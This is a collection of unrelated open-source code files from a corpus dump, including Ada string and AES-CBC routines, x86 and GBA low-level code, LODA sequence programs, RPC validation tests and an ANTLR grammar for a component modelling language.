procedure Super_Trim
(Source : in out Super_String;
Side : Trim_End)
is
Max_Length : constant Positive := Source.Max_Length;
Last : Natural := Source.Current_Length;
First : Positive := 1;
Temp : String (1 .. Max_Length);
begin
Temp (1 .. Last) := Source.Data (1 .. Last);
if Side = Left or else Side = Both then
while First <= Last and then Temp (First) = ' ' loop
First := First + 1;
end loop;
end if;
if Side = Right or else Side = Both then
while Last >= First and then Temp (Last) = ' ' loop
Last := Last - 1;
end loop;
end if;
Source.Data := (others => ASCII.NUL);
Source.Current_Length := Last - First + 1;
Source.Data (1 .. Source.Current_Length) := Temp (First .. Last);
end Super_Trim;
function Super_Trim
(Source : Super_String;
Left : Maps.Character_Set;
Right : Maps.Character_Set) return Super_String
is
Result : Super_String (Source.Max_Length);
begin
for First in 1 .. Source.Current_Length loop
if not Is_In (Source.Data (First), Left) then
for Last in reverse First .. Source.Current_Length loop
if not Is_In (Source.Data (Last), Right) then
Result.Current_Length := Last - First + 1;
Result.Data (1 .. Result.Current_Length) :=
Source.Data (First .. Last);
return Result;
end if;
end loop;
end if;
end loop;
Result.Current_Length := 0;
return Result;
end Super_Trim;
procedure Super_Trim
(Source : in out Super_String;
Left : Maps.Character_Set;
Right : Maps.Character_Set)
is
begin
for First in 1 .. Source.Current_Length loop
if not Is_In (Source.Data (First), Left) then
for Last in reverse First .. Source.Current_Length loop
if not Is_In (Source.Data (Last), Right) then
if First = 1 then
Source.Current_Length := Last;
return;
else
Source.Current_Length := Last - First + 1;
Source.Data (1 .. Source.Current_Length) :=
Source.Data (First .. Last);
for J in Source.Current_Length + 1 ..
Source.Max_Length
loop
Source.Data (J) := ASCII.NUL;
end loop;
return;
end if;
end if;
end loop;
Source.Current_Length := 0;
return;
end if;
end loop;
Source.Current_Length := 0;
end Super_Trim;
-----------
-- Times --
-----------
function Times
(Left : Natural;
Right : Character;
Max_Length : Positive) return Super_String
is
Result : Super_String (Max_Length);
begin
if Left > Max_Length then
raise Ada.Strings.Length_Error;
else
Result.Current_Length := Left;
for J in 1 .. Left loop
Result.Data (J) := Right;
end loop;
end if;
return Result;
end Times;
function Times
(Left : Natural;
Right : String;
Max_Length : Positive) return Super_String
is
Result : Super_String (Max_Length);
Pos : Positive := 1;
Rlen : constant Natural := Right'Length;
Nlen : constant Natural := Left * Rlen;
begin
if Nlen > Max_Length then
raise Ada.Strings.Index_Error;
else
Result.Current_Length := Nlen;
if Nlen > 0 then
for J in 1 .. Left loop
Result.Data (Pos .. Pos + Rlen - 1) := Right;
Pos := Pos + Rlen;
end loop;
end if;
end if;
return Result;
end Times;
function Times
(Left : Natural;
Right : Super_String) return Super_String
is
Result : Super_String (Right.Max_Length);
Pos : Positive := 1;
Rlen : constant Natural := Right.Current_Length;
Nlen : constant Natural := Left * Rlen;
begin
if Nlen > Right.Max_Length then
raise Ada.Strings.Length_Error;
else
Result.Current_Length := Nlen;
if Nlen > 0 then
for J in 1 .. Left loop
Result.Data (Pos .. Pos + Rlen - 1) :=
Right.Data (1 .. Rlen);
Pos := Pos + Rlen;
end loop;
end if;
end if;
return Result;
end Times;
---------------------
-- To_Super_String --
---------------------
function To_Super_String
(Source : String;
Max_Length : Natural;
Drop : Truncation := Error) return Super_String
is
Result : Super_String (Max_Length);
Slen : constant Natural := Source'Length;
begin
if Slen <= Max_Length then
Result.Current_Length := Slen;
Result.Data (1 .. Slen) := Source;
else
case Drop is
when ada.Strings.Right =>
Result.Current_Length := Max_Length;
Result.Data (1 .. Max_Length) :=
Source (Source'First .. Source'First - 1 + Max_Length);
when ada.Strings.Left =>
Result.Current_Length := Max_Length;
Result.Data (1 .. Max_Length) :=
Source (Source'Last - (Max_Length - 1) .. Source'Last);
when ada.Strings.Error =>
raise Ada.Strings.Length_Error;
end case;
end if;
return Result;
end To_Super_String;
end lace.Strings.superbounded;
|
kv-avm-log.adb | davidkristola/vole | 4 | 18524 | with Ada.Text_IO;
with Ada.Strings.Unbounded;
package body kv.avm.Log is
Last_Log_Line : Ada.Strings.Unbounded.Unbounded_String;
Last_Error_Line : Ada.Strings.Unbounded.Unbounded_String;
procedure Put(Str : String) is
begin
if Verbose then
Ada.Text_IO.Put(Str);
end if;
end Put;
procedure Put_Line(Str : String) is
begin
Last_Log_Line := Ada.Strings.Unbounded.To_Unbounded_String(Str);
if Verbose then
Ada.Text_IO.Put_Line(Str);
end if;
end Put_Line;
procedure Log_If(Callback : access function return String) is
begin
if Verbose then
Ada.Text_IO.Put_Line(Callback.all);
end if;
end Log_If;
procedure Put_Error(Str : String) is
begin
Last_Error_Line := Ada.Strings.Unbounded.To_Unbounded_String(Str);
Ada.Text_IO.Put_Line(Str);
end Put_Error;
procedure New_Line(Count : Positive := 1) is
begin
if Verbose then
Ada.Text_IO.New_Line(Ada.Text_Io.Count(Count));
end if;
end New_Line;
function Get_Last_Log_Line return String is
begin
return Ada.Strings.Unbounded.To_String(Last_Log_Line);
end Get_Last_Log_Line;
function Get_Last_Error_Line return String is
begin
return Ada.Strings.Unbounded.To_String(Last_Error_Line);
end Get_Last_Error_Line;
end kv.avm.Log;
|
src/shared/generic/lsc-internal-aes-cbc.adb | Componolit/libsparkcrypto | 30 | 10022 | -------------------------------------------------------------------------------
-- This file is part of libsparkcrypto.
--
-- Copyright (C) 2010, <NAME>
-- Copyright (C) 2010, secunet Security Networks AG
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions are met:
--
-- * Redistributions of source code must retain the above copyright notice,
-- this list of conditions and the following disclaimer.
--
-- * Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
--
-- * Neither the name of the nor the names of its contributors may be used
-- to endorse or promote products derived from this software without
-- specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-- AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS
-- BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-- CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-- SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-- INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-- CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-- ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-- POSSIBILITY OF SUCH DAMAGE.
-------------------------------------------------------------------------------
with LSC.Internal.Ops32;
package body LSC.Internal.AES.CBC is
procedure Encrypt (Context : in AES.AES_Enc_Context;
IV : in AES.Block_Type;
Plaintext : in AES.Message_Type;
Length : in AES.Message_Index;
Ciphertext : out AES.Message_Type)
is
Temp : AES.Block_Type;
Next : AES.Block_Type;
begin
Next := IV;
for I in AES.Message_Index range Ciphertext'First .. Ciphertext'Last
loop
pragma Loop_Invariant
(Plaintext'First = Ciphertext'First and
Plaintext'Last = Ciphertext'Last and
Ciphertext'First + Length - 1 <= Plaintext'Last and
Ciphertext'First + Length - 1 in AES.Message_Index);
if I <= (Ciphertext'First - 1) + Length then
Ops32.Block_XOR (Next, Plaintext (I), Temp);
Next := AES.Encrypt (Context, Temp);
Ciphertext (I) := Next;
pragma Annotate
(GNATprove, False_Positive,
"""Ciphertext"" might not be initialized",
"Initialized in complete loop");
else
Ciphertext (I) := AES.Null_Block;
pragma Annotate
(GNATprove, False_Positive,
"""Ciphertext"" might not be initialized",
"Initialized in complete loop");
end if;
end loop;
end Encrypt;
pragma Annotate
(GNATprove, False_Positive,
"""Ciphertext"" might not be initialized in ""Encrypt""",
"Initialized in complete loop");
----------------------------------------------------------------------------
procedure Decrypt (Context : in AES.AES_Dec_Context;
IV : in AES.Block_Type;
Ciphertext : in AES.Message_Type;
Length : in AES.Message_Index;
Plaintext : out AES.Message_Type)
is
Temp : AES.Block_Type;
Next : AES.Block_Type;
begin
Next := IV;
for I in AES.Message_Index range Plaintext'First .. Plaintext'Last
loop
pragma Loop_Invariant
(Plaintext'First = Ciphertext'First and
Plaintext'Last = Ciphertext'Last and
Plaintext'First + Length - 1 <= Ciphertext'Last and
Plaintext'First + Length - 1 in AES.Message_Index);
if I <= (Plaintext'First - 1) + Length then
Temp := AES.Decrypt (Context, Ciphertext (I));
Ops32.Block_XOR (Temp, Next, Plaintext (I));
pragma Annotate
(GNATprove, False_Positive,
"""Plaintext"" might not be initialized",
"Initialized in complete loop");
Next := Ciphertext (I);
else
Plaintext (I) := AES.Null_Block;
pragma Annotate
(GNATprove, False_Positive,
"""Plaintext"" might not be initialized",
"Initialized in complete loop");
end if;
end loop;
end Decrypt;
pragma Annotate
(GNATprove, False_Positive,
"""Plaintext"" might not be initialized in ""Decrypt""",
"Initialized in complete loop");
end LSC.Internal.AES.CBC;
|
alloy4fun_models/trainstlt/models/0/XqbPS5dDbRA42n9M5.als | Kaixi26/org.alloytools.alloy | 0 | 3228 | open main
pred idXqbPS5dDbRA42n9M5_prop1 {
before no Green
}
pred __repair { idXqbPS5dDbRA42n9M5_prop1 }
check __repair { idXqbPS5dDbRA42n9M5_prop1 <=> prop1o } |
latest/boot/boot_sect.asm | soumitradev/assembly-fun | 2 | 6748 | ; Let us now switch to 32 bit protected mode
[org 0x7c00]
; Place where we load kernel from
KERNEL_OFFSET equ 0x1000
mov [BOOT_DRIVE], dl
; Set stack
mov bp, 0x9000
mov sp, bp
; Print the 16 bit mode declaration
mov bx, MSG_REAL_MODE
call print_str
call print_nl
; Load kernel
call load_kernel
; Switch to 32 bit and never return 😢
call switch_to_pm
; Hang. If we don't switch to PM, better not run random code.
jmp $
; Include all our previous epic code
; We don't include "print_str.asm" because print_hex.asm already imports it for its implementation
%include "print_hex.asm"
%include "disk_load.asm"
%include "gdt.asm"
%include "print_str_32.asm"
%include "switch_to_pm.asm"
[bits 16]
; Load the kernel into memory
load_kernel:
; Print message saying you're loading kernel
mov bx, MSG_LOAD_KERNEL
call print_str
call print_nl
; Load 15 sectors (why not)
mov bx, KERNEL_OFFSET
mov dh, 15
mov dl, [BOOT_DRIVE]
call disk_load
ret
; Now we are in 32 bit mode, so tell assembler to use 32 bit instructions from now on
[bits 32]
; Now we are in 32 bit protected mode 😎
begin_pm:
; Print a message using our print thing
mov ebx, MSG_PROT_MODE
call print_str_32
; Run the kernel 😎
call KERNEL_OFFSET
; Hang if kernel ever returns
jmp $
; Define text to print
BOOT_DRIVE db 0
MSG_REAL_MODE db "Started in 16-bit Real Mode", 0
MSG_PROT_MODE db "Successfully moved to 32-bit Protected Mode", 0
MSG_LOAD_KERNEL db "Loading kernel...", 0
; Padding
times 510-($-$$) db 0
; Magic number
dw 0xaa55 |
programs/oeis/191/A191404.asm | neoneye/loda | 22 | 9894 | ; A191404: A000201(n)+A000201(n+3).
; 4,7,11,13,17,20,23,27,29,33,37,39,43,46,49,53,55,59,62,65,69,71,75,79,81,85,88,91,95,97,101,105,107,111,114,117,121,123,127,130,133,137,139,143,147,149,153,156,159,163,165,169,172,175,179,181,185,189,191,195,198,201,205,207,211,215,217,221,224,227
mov $1,$0
mov $5,$0
lpb $0
lpb $1
mov $2,$0
add $0,3
seq $2,60145 ; a(n) = floor(n/tau) - floor(n/(1 + tau)).
mov $1,$2
add $1,1
lpe
mov $0,2
lpe
mov $4,$1
cmp $4,0
add $1,$4
mov $0,$1
add $0,3
mov $3,$5
mul $3,3
add $0,$3
|
src/sound/hartmanns_youkai_girl/channel2.asm | Gegel85/KESP | 0 | 161750 | musicChan2KoishiTheme::
setRegisters $A5, $F4, $00, $00
.loop:
stopMusic
jump .loop |
oeis/273/A273322.asm | neoneye/loda-programs | 11 | 174153 | <reponame>neoneye/loda-programs
; A273322: Wiener index of graphs of f.c.c. unit cells in a line = Sum of distances in face-centered cubic grid unit cells connected in a row.
; 150,536,1336,2712,4826,7840,11916,17216,23902,32136,42080,53896,67746,83792,102196,123120,146726,173176,202632,235256,271210,310656,353756,400672,451566,506600,565936,629736,698162,771376,849540,932816,1021366,1115352,1214936,1320280,1431546,1548896,1672492,1802496,1939070,2082376,2232576,2389832,2554306,2726160,2905556,3092656,3287622,3490616,3701800,3921336,4149386,4386112,4631676,4886240,5149966,5423016,5705552,5997736,6299730,6611696,6933796,7266192,7609046,7962520,8326776,8701976,9088282
mov $1,$0
mul $0,2
add $0,$1
mov $2,$1
mov $1,$0
mov $3,2
add $3,$0
mov $0,1
add $3,6
add $3,$1
mov $4,$1
add $1,4
lpb $1
sub $1,1
add $4,$3
add $0,$4
lpe
add $0,1
lpb $2
add $0,53
sub $2,1
lpe
add $0,68
|
ch-03/boot_sect.asm | tuhsteh/os-dev | 0 | 80714 | ;
; A simple boot sector program that loops forever.
;
looper: ; Define a label, "loop", that will allow
; us to jump back to it, forever.
jmp looper ; Use a simple CPU instruction that jumps
; to a new memory address to continue execution.
; In our case, jump to the address of the current
; instruction.
times 510-($-$$) db 0 ; When compiled, our program must fit into 512 b,
; with the last two bytes being the magic number,
; so here, tell our assembly compiler to pad out our
; program w/ enough 0 bytes (db 0) to bring us to the
; 510 th byte.
dw 0xaa55 ; Last two bytes (one word) form the magic number,
; so BIOS knows we are a boot sector.
|
tests/tkmrpc_request_tests.adb | DrenfongWong/tkm-rpc | 0 | 28866 | <gh_stars>0
--
-- Copyright (C) 2013 <NAME> <<EMAIL>>
-- Copyright (C) 2013 <NAME> <<EMAIL>>
-- All rights reserved.
--
-- Redistribution and use in source and binary forms, with or without
-- modification, are permitted provided that the following conditions
-- are met:
-- 1. Redistributions of source code must retain the above copyright
-- notice, this list of conditions and the following disclaimer.
-- 2. Redistributions in binary form must reproduce the above copyright
-- notice, this list of conditions and the following disclaimer in the
-- documentation and/or other materials provided with the distribution.
-- 3. Neither the name of the University nor the names of its contributors
-- may be used to endorse or promote products derived from this software
-- without specific prior written permission.
--
-- THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
-- ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-- IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-- ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
-- FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-- DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-- OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-- HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-- LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-- OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-- SUCH DAMAGE.
--
with Tkmrpc.Request.Convert;
with Tkmrpc.Response;
with Tkmrpc.Operations.Ike;
with Tkmrpc.Operation_Handlers.Ike.Nc_Create;
with Tkmrpc.Results;
with Tkmrpc.Types;
with Test_Utils;
package body Tkmrpc_Request_Tests
is
use Ahven;
use Tkmrpc;
-------------------------------------------------------------------------
procedure Initialize (T : in out Testcase)
is
begin
T.Set_Name (Name => "Request tests");
T.Add_Test_Routine
(Routine => Stream_Conversion'Access,
Name => "To/from stream conversions");
T.Add_Test_Routine
(Routine => Request_Validation'Access,
Name => "Request validation");
end Initialize;
-------------------------------------------------------------------------
procedure Request_Validation
is
use type Tkmrpc.Results.Result_Type;
Invalid_Id : constant Request.Data_Type
:= (Header => (Operation => Operations.Ike.Nc_Create,
Request_Id => 1),
Padded_Data => (others => 0));
Invalid_Len : constant Request.Data_Type
:= (Header => (Operation => Operations.Ike.Nc_Create,
Request_Id => 1),
Padded_Data => (0, 0, 0, 0, 0, 0, 0, 1,
16#ff#, 16#ff#, 16#ff#, 16#ff#, 16#ff#, 16#ff#,
16#ff#, 16#ff#, others => 0));
Res : Response.Data_Type := Tkmrpc.Response.Null_Data;
begin
Tkmrpc.Operation_Handlers.Ike.Nc_Create.Handle
(Req => Invalid_Id,
Res => Res);
Assert (Condition => Res.Header.Result = Results.Invalid_Parameter,
Message => "Invalid Nc_Create request not caugth (nc_id)");
Tkmrpc.Operation_Handlers.Ike.Nc_Create.Handle
(Req => Invalid_Len,
Res => Res);
Assert
(Condition => Res.Header.Result = Results.Invalid_Parameter,
Message => "Invalid Nc_Create request not caugth (nonce_length)");
end Request_Validation;
-------------------------------------------------------------------------
procedure Stream_Conversion
is
use Tkmrpc.Request;
use type Tkmrpc.Operations.Operation_Type;
use type Tkmrpc.Request.Padded_Data_Type;
use type Tkmrpc.Types.Request_Id_Type;
Stream : constant Convert.Stream_Type
:= Convert.To_Stream (S => Test_Utils.Test_Request);
Req : constant Data_Type := Convert.From_Stream (S => Stream);
Data : constant Padded_Data_Type := (others => Character'Pos ('a'));
begin
Assert (Condition => Req.Header.Operation = Test_Utils.Test_Operation,
Message => "Operation mismatch");
Assert (Condition => Req.Header.Request_Id = 234234234,
Message => "Request ID mismatch");
Assert (Condition => Req.Padded_Data = Data,
Message => "Data mismatch");
end Stream_Conversion;
end Tkmrpc_Request_Tests;
|
programs/oeis/129/A129574.asm | neoneye/loda | 22 | 245604 | ; A129574: Number of odd divisors of n plus the number of odd divisors of n - 1.
; 1,2,3,3,3,4,4,3,4,5,4,4,4,4,6,5,3,5,5,4,6,6,4,4,5,5,6,6,4,6,6,3,5,6,6,7,5,4,6,6,4,6,6,4,8,8,4,4,5,6,7,6,4,6,8,6,6,6,4,6,6,4,8,7,5,8,6,4,6,8,6,5,5,4,8,8,6,8,6,4,7,7,4,6,8,6,6,6,4,8,10,6,6,6,6,6,4,5,9,9
mov $2,2
lpb $2
sub $2,1
add $0,$2
sub $0,1
lpb $0
mov $1,$0
sub $0,1
div $1,2
add $3,1
gcd $1,$3
div $1,$3
add $4,$1
lpe
mov $1,$4
lpe
add $1,1
mov $0,$1
|
apps/bootloader/flash.ads | ekoeppen/MSP430_Generic_Ada_Drivers | 0 | 10794 | with Interfaces; use Interfaces;
package Flash is
pragma Preelaborate;
procedure Init
with Inline_Always;
procedure Unlock
with Inline_Always;
procedure Lock
with Inline_Always;
procedure Enable_Erase
with Inline_Always;
procedure Enable_Write
with Inline_Always;
procedure Write (Addr : Unsigned_16; Value : Unsigned_16)
with Inline_Always;
function Read (Addr : Unsigned_16) return Unsigned_16
with Inline_Always;
procedure Erase (Addr : Unsigned_16)
with Inline_Always;
procedure Wait_Until_Ready
with Inline_Always;
end Flash;
|
src/GBA.BIOS.Extended_Interface.ads | 98devin/ada-gba-dev | 7 | 27245 | -- Copyright (c) 2021 <NAME>
-- zlib License -- see LICENSE for details.
with GBA.Interrupts;
use GBA.Interrupts;
with GBA.Numerics;
use GBA.Numerics;
with GBA.Memory;
use GBA.Memory;
with Interfaces;
use Interfaces;
with GBA.Display.Backgrounds;
use GBA.Display.Backgrounds;
with GBA.Display.Objects;
use GBA.Display.Objects;
with GBA.BIOS.Generic_Interface;
generic
with package Raw is new GBA.BIOS.Generic_Interface (<>);
package GBA.BIOS.Extended_Interface is
-- Reexport functionality from Raw interface --
-- Marked Inline_Always so that link-time optimization
-- takes place and reduces these to a pure `svc` instruction.
-- This eliminates the overhead of a function call to BIOS routines.
-- Unfortunately, due to the numeric code of the interrupts
-- being different in ARM and THUMB mode, we still need to have
-- two versions of this package. We share as much as possible by
-- making them instances of this same generic package.
procedure Soft_Reset renames Raw.Soft_Reset with Inline_Always;
procedure Hard_Reset renames Raw.Hard_Reset with Inline_Always;
procedure Halt renames Raw.Halt with Inline_Always;
procedure Stop renames Raw.Stop with Inline_Always;
procedure Register_RAM_Reset (Flags : Register_RAM_Reset_Flags)
renames Raw.Register_RAM_Reset with Inline_Always;
procedure Wait_For_Interrupt (New_Only : Boolean; Wait_For : Interrupt_Flags)
renames Raw.Wait_For_Interrupt with Inline_Always;
procedure Wait_For_VBlank
renames Raw.Wait_For_VBlank with Inline_Always;
function Div_Mod (N, D : Integer) return Long_Long_Integer
renames Raw.Div_Mod with Inline_Always;
function Div_Mod_Arm (D, N : Integer) return Long_Long_Integer
renames Raw.Div_Mod_Arm with Inline_Always;
function Sqrt (N : Unsigned_32) return Unsigned_16
renames Raw.Sqrt with Inline_Always;
function Arc_Tan (X, Y : Fixed_2_14) return Radians_16
renames Raw.Arc_Tan with Inline_Always;
procedure Cpu_Set (S, D : Address; Config : Cpu_Set_Config)
renames Raw.Cpu_Set with Inline_Always;
procedure Cpu_Fast_Set (S, D : Address; Config : Cpu_Set_Config)
renames Raw.Cpu_Fast_Set with Inline_Always;
function Bios_Checksum return Unsigned_32
renames Raw.Bios_Checksum with Inline_Always;
procedure Affine_Set_Ext (Parameters : Address; Transform : Address; Count : Integer)
renames Raw.Affine_Set_Ext with Inline_Always;
procedure Affine_Set (Parameters : Address; Transform : Address; Count, Stride : Integer)
renames Raw.Affine_Set with Inline_Always;
-- More convenient interfaces to Raw functions --
-- Most routines should be Inline_Always, and delegate to the underlying Raw routine.
-- Any functionality which needs to compose results from multiple BIOS calls
-- should be external to this package, and depend on it either by being generic,
-- or importing the Arm or Thumb instantiations as required.
procedure Register_RAM_Reset
( Clear_External_WRAM
, Clear_Internal_WRAM
, Clear_Palette
, Clear_VRAM
, Clear_OAM
, Reset_SIO_Registers
, Reset_Sound_Registers
, Reset_Other_Registers
: Boolean := False)
with Inline_Always;
procedure Wait_For_Interrupt (Wait_For : Interrupt_Flags)
with Inline_Always;
function Divide (Num, Denom : Integer) return Integer
with Pure_Function, Inline_Always;
function Remainder (Num, Denom : Integer) return Integer
with Pure_Function, Inline_Always;
procedure Div_Mod (Num, Denom : Integer; Quotient, Remainder : out Integer)
with Inline_Always;
procedure Cpu_Set
( Source, Dest : Address;
Unit_Count : Cpu_Set_Unit_Count;
Mode : Cpu_Set_Mode;
Unit_Size : Cpu_Set_Unit_Size )
with Inline_Always;
procedure Cpu_Fast_Set
( Source, Dest : Address;
Word_Count : Cpu_Set_Unit_Count;
Mode : Cpu_Set_Mode )
with Inline_Always;
--
-- Single-matrix affine transform computation
--
procedure Affine_Set
( Parameters : Affine_Parameters;
Transform : out Affine_Transform_Matrix )
with Inline_Always;
procedure Affine_Set
( Parameters : Affine_Parameters;
Transform : OBJ_Affine_Transform_Index )
with Inline_Always;
procedure Affine_Set_Ext
( Parameters : Affine_Parameters_Ext;
Transform : out BG_Transform_Info )
with Inline_Always;
--
-- Multiple-matrix affine transform computation
--
type OBJ_Affine_Parameter_Array is
array (OBJ_Affine_Transform_Index range <>) of Affine_Parameters;
procedure Affine_Set (Parameters : OBJ_Affine_Parameter_Array)
with Inline_Always;
type BG_Affine_Parameter_Ext_Array is
array (Affine_BG_ID range <>) of Affine_Parameters_Ext;
procedure Affine_Set_Ext (Parameters : BG_Affine_Parameter_Ext_Array)
with Inline_Always;
type Affine_Parameter_Array is
array (Natural range <>) of Affine_Parameters;
type Affine_Transform_Array is
array (Natural range <>) of Affine_Transform_Matrix;
procedure Affine_Set
( Parameters : Affine_Parameter_Array;
Transforms : out Affine_Transform_Array )
with Inline_Always;
type Affine_Parameter_Ext_Array is
array (Natural range <>) of Affine_Parameters_Ext;
procedure Affine_Set_Ext
( Parameters : Affine_Parameter_Ext_Array;
Transforms : out BG_Transform_Info_Array )
with Inline_Always;
end GBA.BIOS.Extended_Interface; |
data/mapHeaders/celadongamecorner.asm | adhi-thirumala/EvoYellow | 16 | 95869 | <reponame>adhi-thirumala/EvoYellow<filename>data/mapHeaders/celadongamecorner.asm
CeladonGameCorner_h:
db LOBBY ; tileset
db GAME_CORNER_HEIGHT, GAME_CORNER_WIDTH ; dimensions (y, x)
dw CeladonGameCornerBlocks, CeladonGameCornerTextPointers, CeladonGameCornerScript ; blocks, texts, scripts
db $00 ; connections
dw CeladonGameCornerObject ; objects
|
cmstack/cmlang/antlr_generator/CMLang.g4 | he-actlab/cdstack | 0 | 5810 | <filename>cmstack/cmlang/antlr_generator/CMLang.g4<gh_stars>0
grammar CMLang;
cmlang
: component_list
;
component_list
: component_definition+
;
component_definition
: component_type IDENTIFIER '(' flow_list? ')' '{' statement_list '}'
;
flow_list
: flow (',' flow)*
;
flow
: flow_type dtype_specifier flow_expression
;
flow_expression
: IDENTIFIER flow_index_list
| IDENTIFIER
| IDENTIFIER EQ literal
;
literal
: STRING_LITERAL
| number
| complex_number
;
flow_index_list
: flow_index+
;
flow_index
: '[' IDENTIFIER ']'
;
flow_declaration_list
: flow_declaration (',' flow_declaration)*
;
flow_declaration
: array_expression
| IDENTIFIER
;
index_declaration_list
: index_declaration (',' index_declaration)*
;
index_declaration
: IDENTIFIER '[' expression ':' expression ']'
;
prefix_expression
: array_expression
| IDENTIFIER
;
array_expression
: IDENTIFIER index_expression_list
;
group_expression
: array_expression '(' expression ')'
;
function_expression
: function_id '(' expression_list? ')'
;
function_id
: dtype_specifier
| IDENTIFIER
;
nested_expression
: '(' expression ')'
;
index_expression
: '[' expression ']'
;
index_expression_list
: index_expression+
;
expression_list
: expression (',' expression)*
;
expression
: array_expression
| nested_expression
| group_expression
| function_expression
| unary_op expression
| <assoc=right> expression POW expression
| expression multiplicative_op expression
| expression additive_op expression
| expression relational_op expression
| number
| STRING_LITERAL
| IDENTIFIER
;
unary_op
: '+'
| '-'
;
multiplicative_op
: '*'
| '/'
| '%'
;
additive_op
: '+'
| '-'
;
relational_op
: '<'
| '>'
| LE_OP
| GE_OP
| EQ_OP
| NE_OP
;
assignment_expression
: <assoc=right>prefix_expression EQ expression
| <assoc=right>prefix_expression EQ predicate_expression
;
statement
: assignment_statement
| declaration_statement
| expression_statement
;
statement_list
: statement+
;
expression_statement
: expression SEMI
;
declaration_statement
: INDEX index_declaration_list SEMI
| FLOW dtype_specifier flow_declaration_list SEMI
;
assignment_statement
: assignment_expression SEMI
;
predicate_expression
: bool_expression '?' true_expression ':' false_expression
;
bool_expression
: expression
;
true_expression
: expression
;
false_expression
: expression
;
iteration_statement
: WHILE expression statement_list END SEMI
| FOR IDENTIFIER EQ expression statement_list END SEMI
| FOR '(' IDENTIFIER EQ expression ')' statement_list END SEMI
;
component_type
: COMPONENT
| SPRING
| RESERVOIR
;
flow_type
: INPUT
| OUTPUT
| STATE
| PARAMETER
;
dtype_specifier
: 'int'
| 'float'
| 'str'
| 'bool'
| 'complex'
| 'fxp' DECIMAL_INTEGER '_' DECIMAL_INTEGER
;
INPUT
: 'input'
;
OUTPUT
: 'output'
;
STATE
: 'state'
;
PARAMETER
: 'param'
;
SPRING
: 'spring'
;
RESERVOIR
: 'reservoir'
;
COMPONENT
: 'component'
;
INDEX
: 'index'
;
FLOW
: 'flow'
;
ARRAYMUL
: '.*'
;
ARRAYDIV
: '.\\'
;
ARRAYRDIV
: './'
;
POW
: '^'
;
BREAK
: 'break'
;
RETURN
: 'return'
;
FUNCTION
: 'function'
;
FOR
: 'for'
;
WHILE
: 'while'
;
END
: 'end'
;
GLOBAL
: 'global'
;
IF
: 'if'
;
CLEAR
: 'clear'
;
ELSE
: 'else'
;
ELSEIF
: 'elseif'
;
LE_OP
: '<='
;
GE_OP
: '>='
;
EQ_OP
: '=='
;
NE_OP
: '!='
;
TRANSPOSE
: 'transpose'
;
NCTRANSPOSE
: '.\''
;
SEMI
: ';'
;
STRING_LITERAL
: '"' .*? '"'
;
IDENTIFIER
: NONDIGIT (NONDIGIT | DIGIT)*
;
integer
: DECIMAL_INTEGER
| OCT_INTEGER
| HEX_INTEGER
| BIN_INTEGER
;
number
: integer
| FLOAT_NUMBER
| IMAG_NUMBER
;
complex_number
: (integer | FLOAT_NUMBER) additive_op IMAG_NUMBER
;
DECIMAL_INTEGER
: NON_ZERO_DIGIT DIGIT*
| '0'+
;
OCT_INTEGER
: '0' [oO] OCT_DIGIT+
;
HEX_INTEGER
: '0' [xX] HEX_DIGIT+
;
BIN_INTEGER
: '0' [bB] BIN_DIGIT+
;
IMAG_NUMBER
: ( FLOAT_NUMBER | INT_PART ) 'i'
;
FLOAT_NUMBER
: POINT_FLOAT
| EXPONENT_FLOAT
;
EQ
: '='
;
WHITESPACE
: [ \t]+ -> skip
;
NEWLINE
: ('\r' '\n'? | '\n') -> skip
;
BLOCKCOMMENT
: '/*' .*? '*/' -> skip
;
LINECOMMENT
: '//' ~ [\r\n]* -> skip
;
fragment NONDIGIT
: [a-zA-Z_]
;
fragment NON_ZERO_DIGIT
: [1-9]
;
/// digit ::= "0"..."9"
fragment DIGIT
: [0-9]
;
/// octdigit ::= "0"..."7"
fragment OCT_DIGIT
: [0-7]
;
/// hexdigit ::= digit | "a"..."f" | "A"..."F"
fragment HEX_DIGIT
: [0-9a-fA-F]
;
/// bindigit ::= "0" | "1"
fragment BIN_DIGIT
: [01]
;
/// pointfloat ::= [intpart] fraction | intpart "."
fragment POINT_FLOAT
: INT_PART? FRACTION
| INT_PART '.'
;
/// exponentfloat ::= (intpart | pointfloat) exponent
fragment EXPONENT_FLOAT
: ( INT_PART | POINT_FLOAT ) EXPONENT
;
/// intpart ::= digit+
fragment INT_PART
: DIGIT+
;
/// fraction ::= "." digit+
fragment FRACTION
: '.' DIGIT+
;
